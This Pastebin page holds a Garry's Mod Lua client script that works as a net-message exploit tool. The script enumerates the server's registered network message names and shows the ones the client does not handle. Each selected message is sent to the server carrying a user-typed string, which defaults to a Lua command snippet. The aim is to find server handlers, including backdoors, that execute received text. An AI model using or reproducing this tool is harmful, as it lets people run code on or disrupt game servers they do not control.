BazZziliuS

Zalupa

Aug 28th, 2019
308
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.95 KB | None | 0 0
  1. local f = vgui.Create( "DFrame" )
  2. f:SetSize( 350, 500 )
  3. f:SetTitle("NET")
  4. f:Center()
  5. f:MakePopup()
  6. local AppList = vgui.Create( "DListView", f )
  7. AppList:SetSize( 343, 400 )
  8. AppList:SetPos( 3, 47 )
  9. AppList:SetMultiSelect( true )
  10. AppList:AddColumn( "" )
  11. local edit = vgui.Create( "DTextEntry", f )
  12. edit:SetPos(3, 25)
  13. edit:SetSize( 300, 22 )
  14. edit:SetText("RunConsoleCommand('say','hack')")
  15. edit:SetMultiline( false )
  16. edit:SetEditable( true )
  17. edit:SetAllowNonAsciiCharacters( true )
  18. edit:SetEnterAllowed( true )
  19. for b=0,65536 do
  20. local c=util.NetworkIDToString(b)
  21. if c&&c~=""then
  22. if!net.Receivers[c]then
  23. AppList:AddLine( c )
  24. end
  25. end
  26. end
  27. AppList.OnRowSelected = function( lst, index, pnl )
  28. net.Start(pnl:GetColumnText( 1 ))
  29. net.WriteString( edit:GetValue() )
  30. net.WriteBit(1)
  31. net.SendToServer()
  32. MsgC(Color (255, 214, 41), "[", "NET", "] ", Color( 255, 255, 255 ), "Запущен Net Start ",Color( 0, 255, 0 ), pnl:GetColumnText( 1 ).."\n")
  33. end
Add Comment
Please, Sign In to add comment